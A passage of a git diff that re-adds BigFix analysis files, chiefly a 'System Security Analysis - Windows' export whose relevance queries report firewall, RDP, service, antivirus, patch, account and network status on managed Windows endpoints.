+      <Value>Wed, 26 Jun 2013 22:46:41 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <Property ID="1" Name="# of unrepairable files" EvaluationPeriod="P7D">number of lines whose (it contains &quot;[SR] Cannot repair member file&quot;) of file ((pathname of windows folder) &amp; &quot;\logs\cbs\cbs.log&quot;)</Property>
+    <Property ID="3" Name="# of [SR] Lines" EvaluationPeriod="P7D">number of lines whose (it contains &quot;[SR] &quot;) of file ((pathname of windows folder) &amp; &quot;\logs\cbs\cbs.log&quot;)</Property>
+    <Property ID="4" Name="[SR] Lines" EvaluationPeriod="P7D">(if exists ( position 1000 of it ) then ( preceding text of position 1000 of it ) else it) of concatenation &quot;; &quot; of lines whose (it contains &quot;[SR] &quot;) of file ((pathname of windows folder) &amp; &quot;\logs\cbs\cbs.log&quot;)</Property>
+  </Analysis>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Analyses/System Security Analysis - Windows (2998604).bes b/Sites/Windows Management/Fixlets/Analyses/System Security Analysis - Windows (2998604).bes
index 0d046dced..f7caf2cc3 100644
--- a/Sites/Windows Management/Fixlets/Analyses/System Security Analysis - Windows (2998604).bes	
+++ b/Sites/Windows Management/Fixlets/Analyses/System Security Analysis - Windows (2998604).bes	
@@ -1,62 +1,62 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<!--
-  BigFix Analysis Export
-
-  Title    : System Security Analysis - Windows
-  ID       : 2998604
-  Author   : suzib6sw
-  Domain   : BESC
-  Imported : 2020-03-06T10:51:34
-  Source   : bigfixm1_main @ BES-Root
--->
-<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
-  <Analysis>
-    <Title>System Security Analysis - Windows</Title>
-    <Description>An Aggregation of other queries and relevance&apos;s and some original that provides an all in one quick overview of the system.</Description>
-    <Relevance>windows of operating system</Relevance>
-    <MIMEField>
-      <Name>x-fixlet-modification-time</Name>
-      <Value>Thu, 27 Feb 2020 16:50:06 +0000</Value>
-    </MIMEField>
-    <Domain>BESC</Domain>
-    <Property ID="27" Name="Windows Firewall" EvaluationPeriod="PT5M">If exists running service &quot;MpsSvc&quot; then &quot;Running&quot; Else &quot;Warning&quot;</Property>
-    <Property ID="28" Name="IPSec Firewall" EvaluationPeriod="PT1H">if (exists keys &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\IPSec\Policy\Local&quot; whose (exists values whose(name of it = &quot;ActivePolicy&quot; ) of it) of registry) then &quot;Yes&quot; else &quot;No&quot;</Property>
-    <Property ID="29" Name="GPO Applied IPSec" EvaluationPeriod="PT1H">if (exists keys &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\IPSec\GPTIPSECPolicy&quot; whose (exists values whose(name of it = &quot;DSIPSECPolicyFlags&quot; ) of it) of registry) then &quot;Yes&quot; else &quot;No&quot;</Property>
-    <Property ID="30" Name="File and Print Sharing" EvaluationPeriod="PT1H">if rule group currently enabled &quot;File and Printer sharing&quot;  of  firewall then &quot;Enabled&quot; else &quot;Disabled&quot;</Property>
-    <Property ID="31" Name="RDP Services Running?" EvaluationPeriod="PT1H"> if( exists services whose((service name of it as lowercase = &quot;TermService&quot; as lowercase ) AND (state of it= &quot;Running&quot;) )) AND (exists keys &quot;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server&quot; whose (exists values whose(name of it = &quot;fDenyTSConnections&quot; AND it as string as lowercase = &quot;1&quot; as lowercase ) of it) of registry) then &quot;Yes but denying connections&quot; else if( exists services whose((service name of it as lowercase = &quot;TermService&quot; as lowercase ) AND (state of it= &quot;Running&quot;)) ) AND (exists keys &quot;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server&quot; whose (exists values whose(name of it = &quot;fDenyTSConnections&quot; AND it as string as lowercase = &quot;0&quot; as lowercase ) of it) of registry) then &quot;Yes and allowing connections&quot; else &quot;No&quot;</Property>
-    <Property ID="32" Name="RDP Port" EvaluationPeriod="PT12H">Value &quot;PortNumber&quot; of key &quot;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp&quot; of registry</Property>
-    <Property ID="33" Name="RDP NLA Enabled?" EvaluationPeriod="PT1H">if (exists keys &quot;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\Winstations\RDP-Tcp&quot; Whose (exists values whose (name of it = &quot;UserAuthentication&quot; AND it as string as lowercase =&quot;1&quot; as lowercase) of it) of registry) then &quot;Yes&quot; else &quot;No&quot;</Property>
-    <Property ID="34" Name="RDP in use on defined port" EvaluationPeriod="PT0S">if exists (sockets of network) whose ((local port of it = Value &quot;PortNumber&quot; of key &quot;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp&quot; of registry) and (tcp state of it as string = &quot;ESTABLISHED&quot;)) Then &quot;Active&quot; else &quot;Not in use&quot;</Property>
-    <Property ID="35" Name="Incoming RDP Logs " EvaluationPeriod="PT6H">(preceding text of first &quot;%0d%0a&quot; of following text of first &quot;User: &quot; of description of it | &quot;Unknown&quot;, time generated of it, (if (it = 21) then (&quot;New Session&quot;) else (&quot;Resumed Session&quot;)) of (event id of it), following text of last &quot;: &quot; of description of it) of records ((integers in(item 0 of it + item 1 of it - 1,maximum of (item 0 of it + item 1 of it - 2000;item 1 of it))) of (record count of it, oldest record number of it)) whose (exists description of it and (event id of it = 21 or event id of it = 25) and description of it does not contain &quot;LOCAL&quot;) of event log &quot;Microsoft-Windows-TerminalServices-LocalSessionManager/Operational&quot;</Property>
-    <Property ID="36" Name="Telnet Client running?" EvaluationPeriod="PT1H">if exists running service &quot;TelnetClient&quot; then &quot;Yes&quot; else &quot;No&quot;</Property>
-    <Property ID="37" Name="Telnet Server Running" EvaluationPeriod="PT15M">if exists running service &quot;TelnetServer&quot; then &quot;Yes&quot; else &quot;No&quot;</Property>
-    <Property ID="38" Name="FTP Running?" EvaluationPeriod="PT15M">If( exists services whose((service name of it as lowercase = &quot;msftpsvc&quot; as lowercase ) AND (state of it= &quot;Running&quot;) OR (service name of it as lowercase = &quot;ftpsvc&quot; as lowercase ) AND (state of it= &quot;Running&quot;)) ) then &quot;Yes&quot; else &quot;No&quot;</Property>
-    <Property ID="39" Name="AntiVirus Installed" EvaluationPeriod="PT15M">if (exists running service  whose (service name of it = &quot;MsMpSvc&quot;)) then &quot;MS.System Endpoint Protection&quot; else if (exists running service whose (service name of it = &quot;WinDefend&quot;)) then &quot;Windows Defender&quot;  else if (exists running service whose (service name of it = &quot;SepMasterService&quot;)) then &quot;Symantec&quot; else if (exists running service whose (service name of it = &quot;Symantec AntiVirus&quot;)) then &quot;Symantec&quot; else if (exist running service whose (service name of it = &quot;avast! Antivirus&quot;)) then &quot;Avast&quot; else if (exists running service whose (service name of it = &quot;CmdAgent&quot;))then &quot;Comodo&quot; else if (exists running service whose (service name of it contains &quot;klnagent&quot;))then &quot;Kaspersky&quot; else if (exists running service whose (service name of it starts with &quot;Avg&quot; as lowercase))then &quot;AVG&quot; else if (exists running service whose (service name of it starts with &quot;ekrn&quot;))then &quot;Eset&quot;  else if (exists running service whose (service name of it starts with &quot;Avira&quot; as lowercase))then &quot;Avira&quot; else if (exists running service whose (service name of it starts with &quot;norton antivirus client&quot; as lowercase))then &quot;Norton&quot; else if (exists running service whose (service name of it starts with &quot;mcshield&quot; as lowercase))then &quot;McAfee&quot; else if (exists running service whose (service name of it starts with &quot;InoRT&quot; as lowercase))then &quot;Trend&quot; else if (exists running service whose (service name of it contains  &quot;MBAMService&quot; as lowercase))then &quot;MalwareBytes but may not be realtime &quot; else &quot;Investigate&quot;</Property>
-    <Property ID="40" Name="SQL Server running?" EvaluationPeriod="P1D"> if exists services whose((state of it= &quot;Running&quot;) AND ((service name of it as lowercase = &quot;MSSQL&quot; as lowercase ) OR (service name of it as lowercase starts with &quot;SQLBrowser&quot; as lowercase ) OR (service name of it as lowercase starts with &quot;SQLAgent&quot; as lowercase )) ) = True  Then &quot;Yes&quot; else &quot;No&quot;</Property>
-    <Property ID="41" Name="IIS Running?" EvaluationPeriod="PT1H">if exists running service &quot;W3SVC&quot; then &quot;Yes&quot; else &quot;No&quot;</Property>
-    <Property ID="42" Name="Apache/Tomcat Running?" EvaluationPeriod="PT1H">if (exists running application whose (name of it as lowercase = &quot;tomcat7.exe&quot; as lowercase OR name of it as lowercase = &quot;tomcat6.exe&quot; as lowercase ) )or ( exists services whose((service name of it as lowercase starts with &quot;Apache&quot; as lowercase ) AND (state of it= &quot;Running&quot;)) ) Then &quot;Yes&quot; Else &quot;No&quot;</Property>
-    <Property ID="43" Name="Windows last patch date" EvaluationPeriod="PT12H">preceding texts of last &quot; &quot; of preceding texts of last &quot; &quot; of (it as string) of (maximum of last write times of keys whose (name of it contains &quot;.KB&quot; or name of it contains &quot;KB&quot; or name of it starts with &quot;KB&quot;) of keys( &quot;HKEYLOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\&quot;;&quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Component Based Servicing\Packages\&quot;;&quot;HKEY_LOCAL_MACHINE \Software\Microsoft\WindowsNT\CurrentVersion\Hotfix&quot;) of (registry; native registry))</Property>
-    <Property ID="44" Name="Version of 32 Bit Java" EvaluationPeriod="PT6H">(concatenations &quot;, &quot; whose(it != &quot;&quot;) of names of keys of keys &quot;HKEY_LOCAL_MACHINE\SOFTWARE\JavaSoft\Java Runtime Environment&quot; of registry)</Property>
-    <Property ID="45" Name="Version of 64 Bit Java" EvaluationPeriod="PT6H">(concatenations &quot;, &quot; whose(it != &quot;&quot;) of names of keys of keys &quot;HKEY_LOCAL_MACHINE\SOFTWARE\JavaSoft\Java Runtime Environment&quot; of x64 registry)</Property>
-    <Property ID="46" Name="Number of Local Admins" EvaluationPeriod="PT1H">number of members of local group &quot;administrators&quot;</Property>
-    <Property ID="47" Name="Names of Administrators Group" EvaluationPeriod="PT30M">members of local group &quot;Administrators&quot;</Property>
-    <Property ID="48" Name="Local Users accounts and Password expiration status" EvaluationPeriod="P1D">(name of it &amp; (if (account disabled flag of it = TRUE) then &quot; - Disabled&quot; else &quot; - Enabled&quot;) &amp; (if (password expiration disabled flag of it = TRUE) then &quot; No Password expiration&quot; else &quot;&quot;)) of local users</Property>
-    <Property ID="49" Name="Password age of local users" EvaluationPeriod="P1D">(name of it &amp; &quot; - &quot; &amp; password age of it as string) of local users</Property>
-    <Property ID="50" Name="IE Proxy Server Status" EvaluationPeriod="PT1H">if (exists key &quot;SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings&quot; whose (value &quot;ProxyEnable&quot; of it as integer = 1) of current user keys (logged on users) of registry) then &quot;Manual Proxy Enabled&quot;  else &quot;Automatically Detect&quot;</Property>
-    <Property ID="51" Name="IE Proxy Server &amp; Port" EvaluationPeriod="PT15M">if (exists key &quot;SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings&quot; whose (exists value &quot;ProxyServer&quot; of it) of current user keys (logged on users) of registry) then (values &quot;ProxyServer&quot; of key &quot;SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings&quot; of current user keys (logged on users) of registry as string) else (&quot;not configured&quot;)</Property>
-    <Property ID="52" Name="DNS Servers" EvaluationPeriod="P1D">addresses of dns servers of network</Property>
-    <Property ID="53" Name="Wireless SSID" EvaluationPeriod="P1D">if version of client &gt;=&quot;9.0&quot; then ssids of wifis of adapters of network else &quot;N/A&quot;</Property>
-    <Property ID="54" Name="Wireless Encryption Status" EvaluationPeriod="PT6H">if version of client &gt;=&quot;9.0&quot; then encryptions of wifis of adapters of network else &quot;N/A&quot;</Property>
-    <Property ID="55" Name="PPP Enabled" EvaluationPeriod="P1D">exists ip interface whose (point to point of it = true) of networks</Property>
-    <Property ID="56" Name="Scope of Remote Desktop Firewall" EvaluationPeriod="P1D">if exists (rules of firewall) whose (name of it as string starts with &quot;Remote Desktop&quot; or name of it contains &quot;RDP&quot;) then (remote addresses strings of (rules of firewall) whose (name of it as string starts with &quot;Remote Desktop&quot; or name of it contains &quot;RDP&quot;)) else &quot;No rule named RDP or Remote Desktop&quot; </Property>
-    <Property ID="57" Name="IP of Remote Desktop connection" EvaluationPeriod="PT0S">unique values of (remote addresses of (sockets of network) whose ((local port of it =  Value &quot;PortNumber&quot; of key &quot;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp&quot; of registry) and (tcp state of it as string= &quot;ESTABLISHED&quot;))) </Property>
-    <Property ID="58" Name="SSH Running? (port 22)" EvaluationPeriod="PT0S">if exists (sockets of network) whose ((local port of it = 22) and (tcp state of it as string = &quot;ESTABLISHED&quot;)) Then &quot;Active&quot; else &quot;Not in use&quot;</Property>
-    <Property ID="59" Name="IP of Remote SSH Connection (Port 22)" EvaluationPeriod="PT0S">unique values of (remote addresses of (sockets of network) whose ((local port of it = 22) and (tcp state of it as string= &quot;ESTABLISHED&quot;)))</Property>
-    <Property ID="60" Name="Winlogbeat Installed?" EvaluationPeriod="PT30M">if (exists services whose ((service name of it = &quot;winlogbeat&quot;) and (state of it = &quot;Running&quot;))) Then &quot;Yes and Running&quot; else if (exists services whose ((service name of it = &quot;winlogbeat&quot;) and (state of it !=  &quot;Running&quot;))) then &quot;Yes but not running&quot; else &quot;Not Installed&quot;</Property>
-    <Property ID="61" Name="Established TCP and UDP Connections" EvaluationPeriod="PT0S">names of processes  of sockets whose ( established of tcp state of it and local port of it = Value &quot;PortNumber&quot; of key &quot;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp&quot; of registry) of network </Property>
-    <Property ID="62" Name="IE Automatic Configuration Script URL" EvaluationPeriod="PT1H">If Exists value &quot;AutoConfigURL&quot; of keys of key &quot;HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\iphlpsvc\Parameters\ProxyMgr&quot; of registry then value &quot;AutoConfigURL&quot; of keys of key &quot;HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\iphlpsvc\Parameters\ProxyMgr&quot; of registry as string Else &quot;Not used for any profiles&quot;</Property>
-    <Property ID="63" Name="Last Logged in User" EvaluationPeriod="PT1H">if (name of operating system as lowercase contains &quot;win&quot;) then (if ((name of operating system as lowercase contains &quot;xp&quot;) or (name of operating system as lowercase contains &quot;win2003&quot;)) then (if not exist keys &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\DefaultUserName&quot; of (if x64 of operating system then (x64 registry;x32 registry) else registry) then values &quot;DefaultUserName&quot; of keys &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\&quot; of (if x64 of operating system then (x64 registry;x32 registry) else registry) as string else &quot;No User Logged&quot;) else (if NOT exist keys &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Authentication\LogonUI\LastLoggedOnUser&quot; of (if x64 of operating system then (x64 registry;x32 registry) else registry) then values &quot;LastLoggedOnUser&quot; of keys &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Authentication\LogonUI\&quot; of (if x64 of operating system then (x64 registry;x32 registry) else registry) as string else &quot;No User Logged&quot;)) else (&quot;Not Win&quot;)</Property>
-    <Property ID="64" Name="Names of Users in Remote Desktop Group" EvaluationPeriod="PT30M">members of local group &quot;Remote Desktop Users&quot;</Property>
-    <Property ID="65" Name="Warning: Number of patches missing" EvaluationPeriod="PT5M"> number of relevant fixlets whose(exists values whose(&quot;Important&quot; = it OR &quot;Critical&quot; = it) of headers &quot;X-Fixlet-Source-Severity&quot; of it AND not exists values whose(it contains &quot; (Superseded)&quot;) of headers &quot;Subject&quot; of it AND exists (current date - it) whose(it &gt; 30 * day) of (it as date) of values whose(exists it as date) of headers &quot;X-Fixlet-Source-Release-Date&quot; of it) of sites whose(&quot;Fixlet Site&quot; = type of it AND exists names whose(it starts with &quot;Updates for &quot; OR it starts with &quot;Patches for&quot; OR it = &quot;Enterprise Security&quot;) of it)</Property>
-  </Analysis>
-</BES>
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Analysis Export
+
+  Title    : System Security Analysis - Windows
+  ID       : 2998604
+  Author   : suzib6sw
+  Domain   : BESC
+  Imported : 2020-03-06T10:51:34
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Analysis>
+    <Title>System Security Analysis - Windows</Title>
+    <Description>An Aggregation of other queries and relevance&apos;s and some original that provides an all in one quick overview of the system.</Description>
+    <Relevance>windows of operating system</Relevance>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Thu, 27 Feb 2020 16:50:06 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <Property ID="27" Name="Windows Firewall" EvaluationPeriod="PT5M">If exists running service &quot;MpsSvc&quot; then &quot;Running&quot; Else &quot;Warning&quot;</Property>
+    <Property ID="28" Name="IPSec Firewall" EvaluationPeriod="PT1H">if (exists keys &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\IPSec\Policy\Local&quot; whose (exists values whose(name of it = &quot;ActivePolicy&quot; ) of it) of registry) then &quot;Yes&quot; else &quot;No&quot;</Property>
+    <Property ID="29" Name="GPO Applied IPSec" EvaluationPeriod="PT1H">if (exists keys &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\IPSec\GPTIPSECPolicy&quot; whose (exists values whose(name of it = &quot;DSIPSECPolicyFlags&quot; ) of it) of registry) then &quot;Yes&quot; else &quot;No&quot;</Property>
+    <Property ID="30" Name="File and Print Sharing" EvaluationPeriod="PT1H">if rule group currently enabled &quot;File and Printer sharing&quot;  of  firewall then &quot;Enabled&quot; else &quot;Disabled&quot;</Property>
+    <Property ID="31" Name="RDP Services Running?" EvaluationPeriod="PT1H"> if( exists services whose((service name of it as lowercase = &quot;TermService&quot; as lowercase ) AND (state of it= &quot;Running&quot;) )) AND (exists keys &quot;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server&quot; whose (exists values whose(name of it = &quot;fDenyTSConnections&quot; AND it as string as lowercase = &quot;1&quot; as lowercase ) of it) of registry) then &quot;Yes but denying connections&quot; else if( exists services whose((service name of it as lowercase = &quot;TermService&quot; as lowercase ) AND (state of it= &quot;Running&quot;)) ) AND (exists keys &quot;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server&quot; whose (exists values whose(name of it = &quot;fDenyTSConnections&quot; AND it as string as lowercase = &quot;0&quot; as lowercase ) of it) of registry) then &quot;Yes and allowing connections&quot; else &quot;No&quot;</Property>
+    <Property ID="32" Name="RDP Port" EvaluationPeriod="PT12H">Value &quot;PortNumber&quot; of key &quot;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp&quot; of registry</Property>
+    <Property ID="33" Name="RDP NLA Enabled?" EvaluationPeriod="PT1H">if (exists keys &quot;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\Winstations\RDP-Tcp&quot; Whose (exists values whose (name of it = &quot;UserAuthentication&quot; AND it as string as lowercase =&quot;1&quot; as lowercase) of it) of registry) then &quot;Yes&quot; else &quot;No&quot;</Property>
+    <Property ID="34" Name="RDP in use on defined port" EvaluationPeriod="PT0S">if exists (sockets of network) whose ((local port of it = Value &quot;PortNumber&quot; of key &quot;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp&quot; of registry) and (tcp state of it as string = &quot;ESTABLISHED&quot;)) Then &quot;Active&quot; else &quot;Not in use&quot;</Property>
+    <Property ID="35" Name="Incoming RDP Logs " EvaluationPeriod="PT6H">(preceding text of first &quot;%0d%0a&quot; of following text of first &quot;User: &quot; of description of it | &quot;Unknown&quot;, time generated of it, (if (it = 21) then (&quot;New Session&quot;) else (&quot;Resumed Session&quot;)) of (event id of it), following text of last &quot;: &quot; of description of it) of records ((integers in(item 0 of it + item 1 of it - 1,maximum of (item 0 of it + item 1 of it - 2000;item 1 of it))) of (record count of it, oldest record number of it)) whose (exists description of it and (event id of it = 21 or event id of it = 25) and description of it does not contain &quot;LOCAL&quot;) of event log &quot;Microsoft-Windows-TerminalServices-LocalSessionManager/Operational&quot;</Property>
+    <Property ID="36" Name="Telnet Client running?" EvaluationPeriod="PT1H">if exists running service &quot;TelnetClient&quot; then &quot;Yes&quot; else &quot;No&quot;</Property>
+    <Property ID="37" Name="Telnet Server Running" EvaluationPeriod="PT15M">if exists running service &quot;TelnetServer&quot; then &quot;Yes&quot; else &quot;No&quot;</Property>
+    <Property ID="38" Name="FTP Running?" EvaluationPeriod="PT15M">If( exists services whose((service name of it as lowercase = &quot;msftpsvc&quot; as lowercase ) AND (state of it= &quot;Running&quot;) OR (service name of it as lowercase = &quot;ftpsvc&quot; as lowercase ) AND (state of it= &quot;Running&quot;)) ) then &quot;Yes&quot; else &quot;No&quot;</Property>
+    <Property ID="39" Name="AntiVirus Installed" EvaluationPeriod="PT15M">if (exists running service  whose (service name of it = &quot;MsMpSvc&quot;)) then &quot;MS.System Endpoint Protection&quot; else if (exists running service whose (service name of it = &quot;WinDefend&quot;)) then &quot;Windows Defender&quot;  else if (exists running service whose (service name of it = &quot;SepMasterService&quot;)) then &quot;Symantec&quot; else if (exists running service whose (service name of it = &quot;Symantec AntiVirus&quot;)) then &quot;Symantec&quot; else if (exist running service whose (service name of it = &quot;avast! Antivirus&quot;)) then &quot;Avast&quot; else if (exists running service whose (service name of it = &quot;CmdAgent&quot;))then &quot;Comodo&quot; else if (exists running service whose (service name of it contains &quot;klnagent&quot;))then &quot;Kaspersky&quot; else if (exists running service whose (service name of it starts with &quot;Avg&quot; as lowercase))then &quot;AVG&quot; else if (exists running service whose (service name of it starts with &quot;ekrn&quot;))then &quot;Eset&quot;  else if (exists running service whose (service name of it starts with &quot;Avira&quot; as lowercase))then &quot;Avira&quot; else if (exists running service whose (service name of it starts with &quot;norton antivirus client&quot; as lowercase))then &quot;Norton&quot; else if (exists running service whose (service name of it starts with &quot;mcshield&quot; as lowercase))then &quot;McAfee&quot; else if (exists running service whose (service name of it starts with &quot;InoRT&quot; as lowercase))then &quot;Trend&quot; else if (exists running service whose (service name of it contains  &quot;MBAMService&quot; as lowercase))then &quot;MalwareBytes but may not be realtime &quot; else &quot;Investigate&quot;</Property>
+    <Property ID="40" Name="SQL Server running?" EvaluationPeriod="P1D"> if exists services whose((state of it= &quot;Running&quot;) AND ((service name of it as lowercase = &quot;MSSQL&quot; as lowercase ) OR (service name of it as lowercase starts with &quot;SQLBrowser&quot; as lowercase ) OR (service name of it as lowercase starts with &quot;SQLAgent&quot; as lowercase )) ) = True  Then &quot;Yes&quot; else &quot;No&quot;</Property>
+    <Property ID="41" Name="IIS Running?" EvaluationPeriod="PT1H">if exists running service &quot;W3SVC&quot; then &quot;Yes&quot; else &quot;No&quot;</Property>
+    <Property ID="42" Name="Apache/Tomcat Running?" EvaluationPeriod="PT1H">if (exists running application whose (name of it as lowercase = &quot;tomcat7.exe&quot; as lowercase OR name of it as lowercase = &quot;tomcat6.exe&quot; as lowercase ) )or ( exists services whose((service name of it as lowercase starts with &quot;Apache&quot; as lowercase ) AND (state of it= &quot;Running&quot;)) ) Then &quot;Yes&quot; Else &quot;No&quot;</Property>
+    <Property ID="43" Name="Windows last patch date" EvaluationPeriod="PT12H">preceding texts of last &quot; &quot; of preceding texts of last &quot; &quot; of (it as string) of (maximum of last write times of keys whose (name of it contains &quot;.KB&quot; or name of it contains &quot;KB&quot; or name of it starts with &quot;KB&quot;) of keys( &quot;HKEYLOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\&quot;;&quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Component Based Servicing\Packages\&quot;;&quot;HKEY_LOCAL_MACHINE \Software\Microsoft\WindowsNT\CurrentVersion\Hotfix&quot;) of (registry; native registry))</Property>
+    <Property ID="44" Name="Version of 32 Bit Java" EvaluationPeriod="PT6H">(concatenations &quot;, &quot; whose(it != &quot;&quot;) of names of keys of keys &quot;HKEY_LOCAL_MACHINE\SOFTWARE\JavaSoft\Java Runtime Environment&quot; of registry)</Property>
+    <Property ID="45" Name="Version of 64 Bit Java" EvaluationPeriod="PT6H">(concatenations &quot;, &quot; whose(it != &quot;&quot;) of names of keys of keys &quot;HKEY_LOCAL_MACHINE\SOFTWARE\JavaSoft\Java Runtime Environment&quot; of x64 registry)</Property>
+    <Property ID="46" Name="Number of Local Admins" EvaluationPeriod="PT1H">number of members of local group &quot;administrators&quot;</Property>
+    <Property ID="47" Name="Names of Administrators Group" EvaluationPeriod="PT30M">members of local group &quot;Administrators&quot;</Property>
+    <Property ID="48" Name="Local Users accounts and Password expiration status" EvaluationPeriod="P1D">(name of it &amp; (if (account disabled flag of it = TRUE) then &quot; - Disabled&quot; else &quot; - Enabled&quot;) &amp; (if (password expiration disabled flag of it = TRUE) then &quot; No Password expiration&quot; else &quot;&quot;)) of local users</Property>
+    <Property ID="49" Name="Password age of local users" EvaluationPeriod="P1D">(name of it &amp; &quot; - &quot; &amp; password age of it as string) of local users</Property>
+    <Property ID="50" Name="IE Proxy Server Status" EvaluationPeriod="PT1H">if (exists key &quot;SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings&quot; whose (value &quot;ProxyEnable&quot; of it as integer = 1) of current user keys (logged on users) of registry) then &quot;Manual Proxy Enabled&quot;  else &quot;Automatically Detect&quot;</Property>
+    <Property ID="51" Name="IE Proxy Server &amp; Port" EvaluationPeriod="PT15M">if (exists key &quot;SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings&quot; whose (exists value &quot;ProxyServer&quot; of it) of current user keys (logged on users) of registry) then (values &quot;ProxyServer&quot; of key &quot;SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings&quot; of current user keys (logged on users) of registry as string) else (&quot;not configured&quot;)</Property>
+    <Property ID="52" Name="DNS Servers" EvaluationPeriod="P1D">addresses of dns servers of network</Property>
+    <Property ID="53" Name="Wireless SSID" EvaluationPeriod="P1D">if version of client &gt;=&quot;9.0&quot; then ssids of wifis of adapters of network else &quot;N/A&quot;</Property>
+    <Property ID="54" Name="Wireless Encryption Status" EvaluationPeriod="PT6H">if version of client &gt;=&quot;9.0&quot; then encryptions of wifis of adapters of network else &quot;N/A&quot;</Property>
+    <Property ID="55" Name="PPP Enabled" EvaluationPeriod="P1D">exists ip interface whose (point to point of it = true) of networks</Property>
+    <Property ID="56" Name="Scope of Remote Desktop Firewall" EvaluationPeriod="P1D">if exists (rules of firewall) whose (name of it as string starts with &quot;Remote Desktop&quot; or name of it contains &quot;RDP&quot;) then (remote addresses strings of (rules of firewall) whose (name of it as string starts with &quot;Remote Desktop&quot; or name of it contains &quot;RDP&quot;)) else &quot;No rule named RDP or Remote Desktop&quot; </Property>
+    <Property ID="57" Name="IP of Remote Desktop connection" EvaluationPeriod="PT0S">unique values of (remote addresses of (sockets of network) whose ((local port of it =  Value &quot;PortNumber&quot; of key &quot;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp&quot; of registry) and (tcp state of it as string= &quot;ESTABLISHED&quot;))) </Property>
+    <Property ID="58" Name="SSH Running? (port 22)" EvaluationPeriod="PT0S">if exists (sockets of network) whose ((local port of it = 22) and (tcp state of it as string = &quot;ESTABLISHED&quot;)) Then &quot;Active&quot; else &quot;Not in use&quot;</Property>
+    <Property ID="59" Name="IP of Remote SSH Connection (Port 22)" EvaluationPeriod="PT0S">unique values of (remote addresses of (sockets of network) whose ((local port of it = 22) and (tcp state of it as string= &quot;ESTABLISHED&quot;)))</Property>
+    <Property ID="60" Name="Winlogbeat Installed?" EvaluationPeriod="PT30M">if (exists services whose ((service name of it = &quot;winlogbeat&quot;) and (state of it = &quot;Running&quot;))) Then &quot;Yes and Running&quot; else if (exists services whose ((service name of it = &quot;winlogbeat&quot;) and (state of it !=  &quot;Running&quot;))) then &quot;Yes but not running&quot; else &quot;Not Installed&quot;</Property>
+    <Property ID="61" Name="Established TCP and UDP Connections" EvaluationPeriod="PT0S">names of processes  of sockets whose ( established of tcp state of it and local port of it = Value &quot;PortNumber&quot; of key &quot;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp&quot; of registry) of network </Property>
+    <Property ID="62" Name="IE Automatic Configuration Script URL" EvaluationPeriod="PT1H">If Exists value &quot;AutoConfigURL&quot; of keys of key &quot;HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\iphlpsvc\Parameters\ProxyMgr&quot; of registry then value &quot;AutoConfigURL&quot; of keys of key &quot;HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\iphlpsvc\Parameters\ProxyMgr&quot; of registry as string Else &quot;Not used for any profiles&quot;</Property>
